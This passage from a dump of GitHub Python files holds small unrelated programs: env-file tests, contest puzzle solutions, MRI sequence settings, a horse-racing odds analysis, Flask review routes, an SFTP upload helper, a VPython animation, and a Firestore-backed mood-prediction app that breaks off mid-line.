}\n\nBAD_ENV = ENV + \"\"\"\nThis line isn't right.\nNO SPACES IN NAMES=\"valid value\"\n\"\"\"\n\nclass test_ReadEnvFile(TestCase):\n def test_read_json(self):\n self.assertEqual(read_env_file(JSON), RESULT)\n\n def test_read_env(self):\n self.assertEqual(read_env_file(ENV), RESULT)\n\n def test_read_env_error(self):\n errors = []\n self.assertEqual(read_env_file(BAD_ENV, errors.append), RESULT)\n self.assertEqual(errors, [\n \"WARNING: Didn't understand the following environment file lines:\",\n \"11. >>> This line isn't right.\",\n '12. >>> NO SPACES IN NAMES=\"valid value\"'])\n","repo_name":"stellar-deprecated/stellard","sub_path":"src/beast/python/beast/env/ReadEnvFile_test.py","file_name":"ReadEnvFile_test.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":270,"dataset":"github-code","pt":"21"} +{"seq_id":"11554524174","text":"#!/usr/bin/env python3\n\nfrom collections import defaultdict\nfrom re import sub\n\n\ndef parse_data(path):\n with open(path) as fobj:\n for line in fobj:\n yield parse_rule(line)\n\n\ndef parse_rule(line):\n if \"no other bags\" in line:\n return (\" \".join(line.split()[:2]), [])\n line = sub(r\"bags?[,. ]? ?\", \"\", line).strip()\n color_type, color, _, *contains = line.split()\n return \" \".join((color_type, color)), [\n (\" \".join(c), int(n)) for n, *c in zip(*[iter(contains)] * 3)\n ]\n\n\ndef dependency_tree(rules):\n tree = defaultdict(set)\n for bag, contains in rules:\n for b, _ in contains:\n tree[b].add(bag)\n return tree\n\n\ndef dfs(graph, root_node):\n visited = set()\n stack = [root_node]\n while stack:\n current_node = stack.pop()\n if current_node not in visited:\n visited.add(current_node)\n stack += graph[current_node]\n return visited\n\n\ndef rule_tree(rules):\n return {color: {c: n for c, n in contains} for color, contains in rules}\n\n\ndef count_all_bags(tree, color):\n if not tree[color]:\n return 1\n return 1 + sum(v * count_all_bags(tree, k) for k, v in tree[color].items())\n\n\ndef count_contained_bags(tree, color):\n return count_all_bags(tree, color) - 1\n\n\ndef solution_01(path=\"input.data\"):\n graph = dependency_tree(parse_data(path))\n return len(dfs(graph, \"shiny gold\")) - 1\n\n\ndef solution_02(path=\"input.data\"):\n return count_contained_bags(rule_tree(parse_data(path)), \"shiny gold\")\n\n\nif __name__ == \"__main__\":\n print(\"Solution 01:\", solution_01())\n print(\"Solution 02:\", solution_02())\n","repo_name":"suic86/adventofcode","sub_path":"2020/day_07/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43039723417","text":"def main():\n n_end, tour_end = map(int, input().split())\n tour = list(map(int, input().split()))\n tour = [t-1 for t in tour]\n cost_of = [tuple(map(int, input().split())) for _ in range(n_end-1)]\n\n # imos\n # imos[i] += 1 : 都市iで乗車\n # imos[i]: 都市i->i+1の鉄道を使う回数\n imos = [0]*n_end\n for day, fr in enumerate(tour):\n if day == len(tour)-1:\n # 最終日は移動しない\n break\n to = tour[day+1]\n imos[min(fr, to)] += 1\n imos[max(to, fr)] -= 1\n\n def calc_cost(town, cnt):\n cost1_once, cost2_once, stable_cost = cost_of[town]\n return min(cost1_once*cnt, cost2_once*cnt+stable_cost)\n\n ans = 0\n cnt = 0\n for town, d_cnt in enumerate(imos):\n cnt += d_cnt\n if cnt != 0:\n ans += calc_cost(town, cnt)\n print(ans)\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/joi2015ho_a_1016.py","file_name":"joi2015ho_a_1016.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16060126142","text":"\"\"\"\nCalibration functions Modes\n\n@author: Yolanda Vives\n@contact: \n@version: 2.0 (Beta)\n@change: \n\n@summary: TBD\n\n@status: \n\n\"\"\"\n\nfrom sequencesnamespace import Namespace as nmspc\n\nclass RARE:\n def __init__(self, \n seq:str='RARE', \n nScans:int=1, \n larmorFreq: float=3.08, \n rfExAmp: float=0.3, \n rfReAmp: float=0.3, \n rfExTime:float=30.0, \n rfReTime:float=60.0, \n echoSpacing:float=20.0, \n preExTime:float=0.0, \n inversionTime:float=0.0, \n repetitionTime:float=500.0, \n fov:list=[120.0, 120.0, 120.0], \n dfov:list=[0.0, 0.0, 0.0],\n nPoints:list=[60, 1, 1], \n etl:int=15, \n acqTime:float=4.0, \n axes:list=[0, 1, 2], \n axesEnable:list=[0, 0, 0], \n sweepMode:int=1, \n rdGradTime:float=5.0, \n rdDephTime:float=1.0,\n phGradTime:float=1.0,\n rdPreemphasis:float = 1.0,\n drfPhase:float = 0.0, \n dummyPulses:int = 1, \n shimming:list=[-70.0, -90.0, 10.0], \n parFourierFractionSl:float = 1.0, \n ):\n\n self.seq:str=seq \n self.nScans:int=nScans\n self.larmorFreq: float=larmorFreq\n self.rfExAmp: float=rfExAmp\n self.rfReAmp: float=rfReAmp\n self.rfExTime:float=rfExTime\n self.rfReTime:float=rfReTime\n self.echoSpacing:float=echoSpacing\n self.preExTime:float=preExTime\n self.inversionTime:float=inversionTime\n self.repetitionTime:float =repetitionTime\n self.fov:list=fov\n self.dfov:list=dfov\n self.nPoints:list=nPoints\n self.etl:int=etl\n self.acqTime:float=acqTime\n self.axes:list=axes\n self.axesEnable:list=axesEnable\n self.sweepMode:int=sweepMode\n self.rdGradTime:float= rdGradTime\n self.rdDephTime:float=rdDephTime\n self.phGradTime:float=phGradTime\n self.rdPreemphasis:float = rdPreemphasis\n self.drfPhase:float = drfPhase\n self.dummyPulses:int = dummyPulses\n self.shimming:list=shimming\n self.parFourierFractionSl:float = parFourierFractionSl\n\n @property\n def RFproperties(self) -> dict:\n return{\n nmspc.larmorFreq:[float(self.larmorFreq)],\n nmspc.rfExAmp:[float(self.rfExAmp)], \n nmspc.rfReAmp:[float(self.rfReAmp)], \n nmspc.rfExTime:[float(self.rfExTime)], \n nmspc.rfReTime:[float(self.rfReTime)], \n nmspc.drfPhase:[float(self.drfPhase)], \n }\n \n @property\n def IMproperties(self) -> dict:\n return{\n nmspc.nScans:[int(self.nScans)],\n nmspc.nPoints:[list(self.nPoints)], \n nmspc.axes:[list(self.axes)], \n nmspc.axesEnable:[list(self.axesEnable)], \n nmspc.fov:[list(self.fov)], \n nmspc.dfov:[list(self.dfov)], \n }\n \n @property\n def SEQproperties(self) -> dict:\n return{\n nmspc.etl:[int(self.etl)],\n nmspc.echoSpacing:[float(self.echoSpacing)], \n nmspc.repetitionTime:[float(self.repetitionTime)], \n nmspc.acqTime:[float(self.acqTime)],\n nmspc.preExTime:[float(self.preExTime)], \n nmspc.inversionTime:[float(self.inversionTime)], \n nmspc.sweepMode:[int(self.sweepMode)],\n nmspc.dummyPulses:[int(self.dummyPulses)], \n nmspc.parFourierFractionSl:[float(self.parFourierFractionSl)],\n }\n \n @property\n def OTHproperties(self) -> dict:\n return{\n nmspc.shimming:[list(self.shimming)],\n nmspc.rdGradTime:[float(self.rdGradTime)], \n nmspc.rdDephTime:[float(self.rdDephTime)], \n nmspc.phGradTime:[float(self.phGradTime)],\n nmspc.rdPreemphasis:[float(self.rdPreemphasis)],\n }\n\n# class HASTE:\n# def __init__(self,\n# seq:str='HASTE',\n# nScans:int=1,\n# larmorFreq: float=3.08, # MHz\n# rfExAmp: float=0.058, # a.u.\n# rfReAmp: float=0.116, # a.u.\n# rfExTime:int=170.0, # us\n# rfReTime:int=170.0, # us\n# rfEnvelope:str='Rec', # 'Rec' or 'Sinc'\n# echoSpacing:float=10.0, # ms\n# preExTime:float=0.0, # ms\n# inversionTime:float=0.0, # ms\n# repetitionTime:int = 1000.0, # ms\n# fov:list=[120., 120., 20.], # mm\n# dfov:list=[0., 0., 0.], # mm\n# nPoints:list=[60, 60, 1], # points\n# acqTime:int=4., # ms\n# axes:list=[0, 1, 2], # [rd, ph, sl], 0->x, 1->y, 2->z\n# axesEnable:list=[1, 1, 1], # [rd, ph, sl], 0->Off, 1->On\n# sweepMode:int=1, # 0->k2k, 1->02k, 2->k20\n# rdGradTime:int=5., # ms\n# rdDephTime:int=1., # ms\n# phGradTime:int=1., # ms\n# rdPreemphasis:float=1., # readout dephasing grad is multiplied by this number\n# ssPreemphasis:float=1., # slice rephasing grad is multiplied by this number\n# crusherDelay:float=0., # us\n# drfPhase:float = 0., # degrees, excitation pulse phase\n# dummyPulses:int = 1, # pulses\n# shimming:list=[-70., -90., 10.], # a.u.*1e4, shimming along the X,Y and Z axes\n# parFourierFractionPh:float=1.0, # fraction of acquired k-space along phase direction\n# ):\n# self.seq:str=seq\n# self.nScans:int=nScans\n# self.larmorFreq: float=larmorFreq\n# self.rfExAmp: float=rfExAmp\n# self.rfReAmp: float=rfReAmp\n# self.rfExTime:int=rfExTime\n# self.rfReTime:int=rfReTime\n# self.rfEnvelope:str=rfEnvelope\n# self.echoSpacing:float=echoSpacing\n# self.preExTime:float=preExTime\n# self.inversionTime:float=inversionTime\n# self.repetitionTime:int=repetitionTime\n# self.fov:list=fov\n# self.dfov:list=dfov\n# self.nPoints:list=nPoints\n# self.acqTime:int=acqTime\n# self.axes:list=axes\n# self.axesEnable:list=axesEnable\n# self.sweepMode:int=sweepMode\n# self.rdGradTime:int= rdGradTime\n# self.rdDephTime:int=rdDephTime\n# self.phGradTime:int=phGradTime\n# self.rdPreemphasis:float = rdPreemphasis\n# self.ssPreemphasis:float = ssPreemphasis\n# self.crusherDelay:float = crusherDelay\n# self.drfPhase:int = drfPhase\n# self.dummyPulses:int = dummyPulses\n# self.shimming:list=shimming\n# self.parFourierFractionPh:float = parFourierFractionPh\n#\n# @property\n# def RFproperties(self) -> dict:\n# # TODO: add server cmd's as third entry in list\n# return {\n# nmspc.larmorFreq:[float(self.larmorFreq)],\n# nmspc.rfExAmp:[float(self.rfExAmp)],\n# nmspc.rfReAmp:[float(self.rfReAmp)],\n# nmspc.rfExTime:[int(self.rfExTime)],\n# nmspc.rfReTime:[int(self.rfReTime)],\n# nmspc.rfEnvelope:[str(self.rfEnvelope)],\n# nmspc.drfPhase:[int(self.drfPhase)],\n# }\n#\n# @property\n# def IMproperties(self) -> dict:\n# return{\n# nmspc.nScans:[int(self.nScans)],\n# nmspc.nPoints:[list(self.nPoints)],\n# nmspc.axes:[list(self.axes)],\n# nmspc.axesEnable:[list(self.axesEnable)],\n# nmspc.fov:[list(self.fov)],\n# nmspc.dfov:[list(self.dfov)],\n# }\n#\n# @property\n# def SEQproperties(self) -> dict:\n# return{\n# nmspc.echoSpacing:[float(self.echoSpacing)],\n# nmspc.repetitionTime:[int(self.repetitionTime)],\n# nmspc.acqTime:[int(self.acqTime)],\n# nmspc.preExTime:[float(self.preExTime)],\n# nmspc.inversionTime:[float(self.inversionTime)],\n# nmspc.sweepMode:[int(self.sweepMode)],\n# nmspc.dummyPulses:[int(self.dummyPulses)],\n# nmspc.parFourierFractionPh:[float(self.parFourierFractionPh)],\n# }\n#\n# @property\n# def OTHproperties(self) -> dict:\n# return{\n# nmspc.shimming:[list(self.shimming)],\n# nmspc.rdGradTime:[int(self.rdGradTime)],\n# nmspc.rdDephTime:[int(self.rdDephTime)],\n# nmspc.phGradTime:[int(self.phGradTime)],\n# nmspc.rdPreemphasis:[float(self.rdPreemphasis)],\n# nmspc.ssPreemphasis:[float(self.ssPreemphasis)],\n# nmspc.crusherDelay:[float(self.crusherDelay)],\n# }\n#\n# class GRE3D:\n# def __init__(self,\n# seq:str='GRE3D',\n# nScans:int=1,\n# larmorFreq: float=3.08,\n# rfExAmp: float=0.05,\n# rfExTime:float=30.0,\n# echoTime:float=2.0,\n# repetitionTime:float=10.0,\n# fov:list=[120.0, 120.0, 120.0],\n# dfov:list=[0.0, 0.0, 0.0],\n# nPoints:list=[60, 60, 1],\n# acqTime:float=1.0,\n# axes:list=[0, 1, 2],\n# rdGradTime:float=1.4,\n# dephGradTime:float=1.0,\n# dummyPulses:int=20,\n# shimming:list=[-70.0, -90.0, 10.0],\n# parFourierFractionSl:float = 1.0,\n# spoiler:int = 1,\n# ):\n# self.seq = seq\n# self.nScans = nScans\n# self.larmorFreq = larmorFreq\n# self.rfExAmp = rfExAmp\n# self.rfExTime = rfExTime\n# self.echoTime = echoTime\n# self.repetitionTime = repetitionTime\n# self.fov:list = fov\n# self.dfov = dfov\n# self.nPoints = nPoints\n# self.acqTime = acqTime\n# self.axes = axes\n# self.rdGradTime = rdGradTime\n# self.dephGradTime = dephGradTime\n# self.dummyPulses = dummyPulses\n# self.shimming = shimming\n# self.parFourierFractionSl = parFourierFractionSl\n# self.spoiler = spoiler\n#\n# @property\n# def RFproperties(self) -> dict:\n# # TODO: add server cmd's as third entry in list\n# return {\n# nmspc.larmorFreq:[float(self.larmorFreq)],\n# nmspc.rfExAmp:[float(self.rfExAmp)],\n# nmspc.rfExTime:[int(self.rfExTime)],\n# }\n#\n# @property\n# def IMproperties(self) -> dict:\n# return{\n# nmspc.nScans:[int(self.nScans)],\n# nmspc.nPoints:[list(self.nPoints)],\n# nmspc.axes:[list(self.axes)],\n# nmspc.fov:[list(self.fov)],\n# nmspc.dfov:[list(self.dfov)],\n# }\n#\n# @property\n# def SEQproperties(self) -> dict:\n# return{\n# nmspc.echoTime:[float(self.echoTime)],\n# nmspc.repetitionTime:[int(self.repetitionTime)],\n# nmspc.acqTime:[int(self.acqTime)],\n# nmspc.dummyPulses:[int(self.dummyPulses)],\n# nmspc.parFourierFractionSl:[float(self.parFourierFractionSl)],\n# nmspc.spoiler:[int(self.spoiler)],\n# }\n#\n# @property\n# def OTHproperties(self) -> dict:\n# return{\n# nmspc.shimming:[list(self.shimming)],\n# nmspc.rdGradTime:[int(self.rdGradTime)],\n# nmspc.dephGradTime:[int(self.dephGradTime)],\n# }\n\n\"\"\"\nDefinition of default sequences\n\"\"\"\ndefaultsequences={\n 'RARE': RARE(),\n # 'HASTE': HASTE(),\n # 'GRE3D': GRE3D(),\n }\n\n\n\n","repo_name":"yvives/PhysioMRI_GUI","sub_path":"sequencemodes.py","file_name":"sequencemodes.py","file_ext":"py","file_size_in_byte":12240,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"31599032361","text":"import json\nimport glob\nfrom pathlib import Path\n\n\ndef fix_image_path(anno_dir):\n jsons = glob.glob(str(Path(anno_dir) / '*.json'))\n for js in jsons:\n with open(js, 'r') as f:\n print(js)\n data = json.load(f)\n data['imagePath'] = Path(data['imagePath']).name\n\n with open(js, 'w') as fw:\n json.dump(data, fw)\n print(data['imagePath'])\n\n\nif __name__ == '__main__':\n anno_dir = '/path/to/video88'\n fix_image_path(anno_dir)\n","repo_name":"healthonrails/annolid","sub_path":"annolid/annotation/fix_shapes.py","file_name":"fix_shapes.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"21"} +{"seq_id":"74949497332","text":"#独自ライブラリのインポート\nimport utility as U\n\n#2022年東京競馬場1番人気\nYear = \"2023\"\nJyoCD1 = \"05\"\nJyoCD2 = \"06\"\nNinki = \"01\"\n\n#SQL文\nstrSQL_SELECT = \"SELECT * FROM N_RACE\"\nstrSQL_WHERE = \" WHERE DataKubun = '7'\"\nstrSQL_WHERE += \" AND Year = '\" + Year + \"'\" \nstrSQL_WHERE += \" AND JyoCD = '\" + JyoCD1 + \"'\"\nstrSQL_ORDER = \" ORDER BY MonthDay ASC\"\n#SQL文の連結\nstrSQL = strSQL_SELECT + strSQL_WHERE + strSQL_ORDER\n#該当レースを取得\nRACEs = U.getRACEs(strSQL)\n\n#レース結果格納する配列:総数, 1着, 2着, 3着\ntyakuKaisu = [0] * 4\n#単勝・複勝の的中回数\ntansho_tekityuKaisu = 0\nfukusho_tekityuKaisu = 0\n#単勝・複勝の払戻総額\ntansho_haraimodoshi_sum = 0\nfukusho_haraimodoshi_sum = 0\n\nfor RACE in RACEs:\n\t#障害競走を除外\n\tif(int(RACE[\"TrackCD\"]) >= 30): continue\n\t#払戻情報を取得\n\tHARAI = U.getHARAI(RACE)\n\t#該当レースの出走馬を取得(人気順)\n\tUMA_RACEs = U.getShiteiRaceUMA_RACEs( RACE, \"Ninki ASC\" )\n\t#1番人気\n\tfor UMA_RACE in UMA_RACEs:\n\t\tif(UMA_RACE[\"Ninki\"] == Ninki): break\n\t#文字列整形\n\ttext = \"\"\n\ttext += UMA_RACE[\"Year\"] + UMA_RACE[\"MonthDay\"] + \" \"\n\ttext += UMA_RACE[\"RaceNum\"] + \"R \"\n\ttext += UMA_RACE[\"Bamei\"] + \" \\t\\t\"\n\ttext += str(int(UMA_RACE[\"Ninki\"])) + \"番人気 \"\n\ttext += \"(\" + str(int(UMA_RACE[\"Odds\"])/10) + \"倍)\" \n\ttext += UMA_RACE[\"KakuteiJyuni\"] + \"位 \"\n\t#レース結果を集計\n\ttyakuKaisu[0] += 1\n\tif( int(UMA_RACE[\"KakuteiJyuni\"]) <= 3):\n\t\ttyakuKaisu[int(UMA_RACE[\"KakuteiJyuni\"])] += 1\n\t#単勝的中の場合\n\tfor i in range(3):\n\t\tn = str(i + 1)\n\t\tif(HARAI[\"PayTansyoUmaban\" + n] == UMA_RACE[\"Umaban\"]):\n\t\t\ttansho_haraimodoshi_sum += int(HARAI[\"PayTansyoPay\" + n])\n\t\t\ttansho_tekityuKaisu += 1\n\t#複勝的中の場合\n\tfor i in range(5):\n\t\tn = str(i + 1)\n\t\tif(HARAI[\"PayFukusyoUmaban\" + n] == UMA_RACE[\"Umaban\"]):\n\t\t\tfukusho_haraimodoshi_sum += int(HARAI[\"PayFukusyoPay\" + n])\n\t\t\tfukusho_tekityuKaisu += 1\n\t#ターミナルへ出力\n\tprint(text)\n\n#着外の回数\nkyakugai = tyakuKaisu[0] - tyakuKaisu[1] - tyakuKaisu[2]- tyakuKaisu[3]\n#単勝の的中率と回収率\ntanshou_ritsu = round(tyakuKaisu[1] / tyakuKaisu[0] * 100, 1)\ntanshou_kaishuritsu = round(tansho_haraimodoshi_sum/ tyakuKaisu[0], 1)\n#複勝の的中率と回収率\nfukusho_ritsu = round(fukusho_tekityuKaisu / tyakuKaisu[0] * 100, 1)\nfukusho_kaishuritsu = round(fukusho_haraimodoshi_sum/ tyakuKaisu[0], 1)\n\n#文字列整形\ntext = \"--------------------------------------\\n\"\ntext += \"1着-2着-3着-着外|該当レース数 : \"\ntext += str(tyakuKaisu[1]) + \"-\" + str(tyakuKaisu[2]) + \"-\" + str(tyakuKaisu[3]) + \"-\" + str(kyakugai) + \"|\" + str(tyakuKaisu[0]) + \"\\n\"\ntext += \"単勝率:\" + str(tanshou_ritsu) + \"% 回収率:\" +str(tanshou_kaishuritsu) + \"\\n\"\ntext += \"複勝率:\" + str(fukusho_ritsu) + \"% 回収率:\" +str(fukusho_kaishuritsu) + \"\\n\"\n\n#着回数\nprint(text)\n","repo_name":"cax68080/derby","sub_path":"第4章/[4.1.1]Tokyo2019_1ninki.py","file_name":"[4.1.1]Tokyo2019_1ninki.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73283060214","text":"from flask import Blueprint, request\nfrom app.models import Review, db\nfrom app.forms import ReviewForm\nfrom flask_login import current_user\nfrom .auth_routes import validation_errors_to_error_messages\n\nreview_routes = Blueprint('reviews', __name__)\n\n@review_routes.route('/')\ndef reviews():\n reviews = Review.query.all()\n print(reviews)\n return {'reviews': [review.to_dict() for review in reviews]}\n\n@review_routes.route('/', methods=['POST'])\ndef new_review():\n form = ReviewForm()\n print(form, 'backend form')\n form['csrf_token'].data = request.cookies['csrf_token']\n\n if form.validate_on_submit():\n review = Review(\n rating=form.data['rating'],\n comment=form.data['comment'],\n tasker_id=form.data['tasker_id'],\n task_id=form.data['task_id']\n )\n db.session.add(review)\n db.session.commit()\n return review.to_dict()\n return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n\n@review_routes.route('/reviews/<reviewId>', methods=['PUT'])\ndef edit_review(reviewId):\n review = Review.query.get(reviewId)\n data = request.json\n review.rating = data['rating']\n review.comment = data['comment']\n db.session.commit()\n return review.to_dict()\n\n@review_routes.route('/reviews/<reviewId>', methods=['DELETE'])\ndef delete_review(reviewId):\n review = Review.query.get(reviewId)\n db.session.delete(review)\n db.session.commit()\n return review.to_dict()\n","repo_name":"Irving-Develops/taskrat","sub_path":"app/api/review_routes.py","file_name":"review_routes.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73132708213","text":"# -*- coding:utf-8 -*-\n\nimport os\n\ndef upload(SSHClient,src,dst):\n\t\n\ttry:\n\t\tsftp = SSHClient.open_sftp()\n\texcept Exception as e:\n\t\tprint('open sftp failed:', e)\n\t\tos._exit(0)\n\t\n\ttry:\n\t\tprint('uploading file: %s --> %s'%(src, dst))\n\t\tsftp.put(src, dst)\n\t\tprint('uploading success!!!')\n\t\tsftp.close()\n\texcept Exception as e:\n\t\tprint('uploading failed:', e)\n\t\tos._exit(0)\t\n","repo_name":"JediObi/operations","sub_path":"utils/Upload.py","file_name":"Upload.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3161048986","text":"#####################\r\n#Ball in a half-pipe#\r\n#Michael Malahe #\r\n#2006 #\r\n#####################\r\n\r\n#ANIMATION PARAMETERS\r\ntickrate = 20\r\nballsize = 1\r\nspeed = 1\r\n\r\n#Modules\r\nfrom visual import *\r\nimport visual as v\r\nfrom math import *\r\n\r\n#PHYSICS PARAMETERS\r\ng = 9.8\r\ndt = 0.001\r\ncurveres = 0.01\r\nt = 0\r\noffset = vector(0,1,0)\r\nrad = 1\r\na = 0.01\r\nside = 0\r\nki = 0\r\n\r\n#Scene alignment\r\nscene.fullscreen = 1\r\n\r\n#Framestop class\r\nclass framestop:\r\n def __init__(self,frames):\r\n self.frames = frames\r\n self.frame = 0\r\n def tick(self):\r\n self.frame += 1\r\n if self.frame == self.frames:\r\n self.frame = 0\r\n return 1\r\n return 0\r\n\r\n#Motion function\r\ndef xyz(off,r,t):\r\n return vector(-r*cos(t),-r*sin(t),0)+off\r\n\r\n#Cleanup\r\nremoval = []\r\ninit = 0\r\n\r\n#Timeline control\r\nwhile 1:\r\n if init == 0:\r\n #Visual elements\r\n ball = sphere(pos=xyz(offset,rad,0),radius=0.05)\r\n c = curve(pos=[vector(x,-rad*sqrt(1-x**2),0)+offset for x in arange(-1,1+curveres,curveres)])\r\n t = 0\r\n init = 1\r\n if scene.mouse.clicked:\r\n init = 0\r\n c = scene.mouse.getclick()\r\n removal.append(ball)\r\n #Main loop\r\n stopper = framestop(tickrate)\r\n while 1:\r\n if ball.pos.y>=rad and side == 0:\r\n side = 1\r\n ball.pos.y = rad\r\n for e in removal:\r\n e.visible = 0\r\n ball = sphere(pos=xyz(offset,rad,t),radius=0.05)\r\n elif ball.pos.y>=rad and side == 1:\r\n side = 0\r\n ball.pos.y = rad\r\n for e in removal:\r\n e.visible = 0\r\n ball = sphere(pos=xyz(offset,rad,t),radius=0.05)\r\n #Acceleration\r\n if ball.pos.x<0 and side == 0:\r\n dt = (1+a*abs(cos(t)))*dt\r\n elif side == 0:\r\n dt = dt/(1+a*abs(cos(t)))\r\n if ball.pos.x>0 and side == 1:\r\n dt = (1+a*abs(cos(t)))*dt\r\n elif side == 1:\r\n dt = dt/(1+a*abs(cos(t)))\r\n rate(60)\r\n if side == 0:\r\n t += dt\r\n if side == 1:\r\n t -= dt\r\n ball.pos = xyz(offset,rad,t)\r\n ki = 1\r\n if stopper.tick():\r\n removal.append(copy.copy(ball))\r\n while 1:\r\n if scene.mouse.clicked:\r\n c = scene.mouse.getclick()\r\n break\r\n for e in removal:\r\n e.visible = 0\r\n\r\n\r\n\r\n \r\n","repo_name":"lectdemo/lectdemo.github.io","sub_path":"virtual/scripts/halfpipe.py","file_name":"halfpipe.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7634554042","text":"def to_camel_case(text):\n array = []\n replace1 = text.replace(\"_\", \" \")\n replace2 = replace1.replace(\"-\", \" \")\n listwords = replace2.split(\" \")\n\n for word in listwords:\n if listwords.index(word) == 0:\n array.append(word) # Así no me cambia si la palabra empieza o no por mayúscula\n else:\n array.append(word.capitalize())\n \n finish_array = ''.join(array)\n print(finish_array)\n return finish_array","repo_name":"AlexDeveloperUwU/miniprojects","sub_path":"codewars/string-to-camel-case/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12700337830","text":"from functools import wraps\nimport atexit\nimport time\nfrom firebase_admin import credentials, firestore, initialize_app\nfrom datetime import date, datetime, timedelta\nfrom flask import Flask, g, session, redirect, url_for, request, current_app, make_response\nfrom functools import update_wrapper\nfrom apscheduler.schedulers.background import BackgroundScheduler\nimport requests\nfrom sklearn.neural_network import MLPRegressor\nimport numpy as np\n\napp = Flask(__name__, instance_relative_config=True)\napp.config.from_object('config')\napp.config.from_pyfile('config.py')\n# Add Secret Key\napp.secret_key = app.config['SECRET_KEY']\n# Add DB\ncred = credentials.Certificate('serviceAccountKey.json')\ninitialize_app(cred, {'name': 'initial'})\n\n# Build cross-domain allowing wrapper\n\ndef crossdomain(origin=None, methods=None, headers=None, max_age=21600,\n attach_to_all=True, automatic_options=True):\n if methods is not None:\n methods = ', '.join(sorted(x.upper() for x in methods))\n if headers is not None:\n headers = ', '.join(x.upper() for x in headers)\n if origin is not None:\n origin = ', '.join(origin)\n if isinstance(max_age, timedelta):\n max_age = max_age.total_seconds()\n\n def get_methods():\n if methods is not None:\n return methods\n\n options_resp = current_app.make_default_options_response()\n return options_resp.headers['allow']\n\n def decorator(f):\n def wrapped_function(*args, **kwargs):\n if automatic_options and request.method == 'OPTIONS':\n resp = current_app.make_default_options_response()\n else:\n resp = make_response(f(*args, **kwargs))\n if not attach_to_all and request.method != 'OPTIONS':\n return resp\n\n h = resp.headers\n h['Access-Control-Allow-Origin'] = origin\n h['Access-Control-Allow-Methods'] = get_methods()\n h['Access-Control-Max-Age'] = str(max_age)\n h['Access-Control-Allow-Credentials'] = 'true'\n h['Access-Control-Allow-Headers'] = \\\n \"Origin, X-Requested-With, Content-Type, Accept, Authorization\"\n if headers is not None:\n h['Access-Control-Allow-Headers'] = headers\n return resp\n\n f.provide_automatic_options = False\n return update_wrapper(wrapped_function, f)\n return decorator\n\n\n# Make DB fetcher\ndef get_conn():\n if 'conn' in g and g.conn is not None:\n return g.conn\n else:\n g.conn = firestore.client()\n return g.conn\n\n# Add json serializiation extender\n\ndef json_serial(obj):\n \"\"\"JSON serializer for non JSON serializable objects\"\"\"\n\n if isinstance(obj, (datetime, date)):\n return obj.isoformat()\n # elif isinstance(obj, (Decimal.Decimal)):\n # return float(obj)\n raise TypeError (\"Type {} is not serializable\".format(type(obj)))\n\n# CREATE SCHEDULED ACTIONS\ndef train_model():\n with app.app_context():\n doc_ref = get_conn().collection('users')\n\n for row in doc_ref.get():\n user = row.to_dict()\n frames = []\n for dt in doc_ref.document(row.id).collection('days').where(\"epoch\", \">\", int(time.time()) - 604800).get():\n day = dt.to_dict()\n new_day = {}\n new_day['Diagnosis'] = user['diagnosis'] if 'diagnosis' in user else None\n new_day['Dob'] = user['dob'] if 'dob' in user else None\n new_day['Gender'] = user['gender'] if 'gender' in user else None\n\n new_day['Sleep'] = day['sleep'] if 'sleep' in day else None\n new_day['Sleep Chunks'] = day['sleepChunks'] if 'sleepChunks' in day else None\n\n if 'mood' not in day: break # Can't make mood predicition without mood data \n\n new_day['Mood'] = day['mood'] if 'mood' in day else None\n new_day['Calories'] = day['calories'] if 'calories' in day else None\n\n new_day['Exercise Duration'] = day['exerciseDuration'] if 'exerciseDuration' in day else None\n new_day['Exercise Intensity'] = day['exerciseIntensity'] if 'excersiseIntencity' in day else None\n\n new_day['Alpha'] = day['alpha'] if 'alpha' in day else None\n new_day['Beta'] = day['beta'] if 'beta' in day else None\n new_day['Theta'] = day['theta'] if 'theta' in day else None\n new_day['Gamma'] = day['gamma'] if 'gamma' in day else None\n frames = [new_day] + frames\n\n if len(frames) < 1: continue\n # Getting the X and y variable set up:\n X = np.column_stack( ( np.array(frames[0]['Sleep']), np.array(frames[0]['Sleep Chunks']), np.array(frames[0]['Calories']), np.array(frames[0]['Mood']), np.array(frames[0]['Exercise Duration']), np.array(frames[0]['Exercise Intensity']), np.array(frames[0]['Alpha']), np.array(frames[0]['Beta']), np.array(frames[0]['Theta']), np.array(frames[0]['Gamma']) ) )\n y = np.column_stack( (np.array(frames[1]['Mood'])) )\n\n for i in range(1, len(frames)-1):\n X_cur = np.column_stack( ( np.array(frames[i]['Sleep']), np.array(frames[i]['Sleep Chunks']), np.array(frames[i]['Calories']), np.array(frames[i]['Mood']), np.array(frames[i]['Exercise Duration']), np.array(frames[i]['Exercise Intensity']), np.array(frames[i]['Alpha']), np.array(frames[i]['Beta']), np.array(frames[i]['Theta']), np.array(frames[i]['Gamma']) ) )\n y_cur = np.column_stack( (np.array(frames[i+1]['Mood'])) )\n \n X = np.append(X, X_cur, axis=0)\n y = np.append(y, y_cur)\n\n # Training Model: \n clf = MLPRegressor(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(7, 6), random_state=1)\n clf.fit(X, y)\n\n def predictTomorrow(row): #Row is of form `frames[0].loc[1]`\n x_obj = 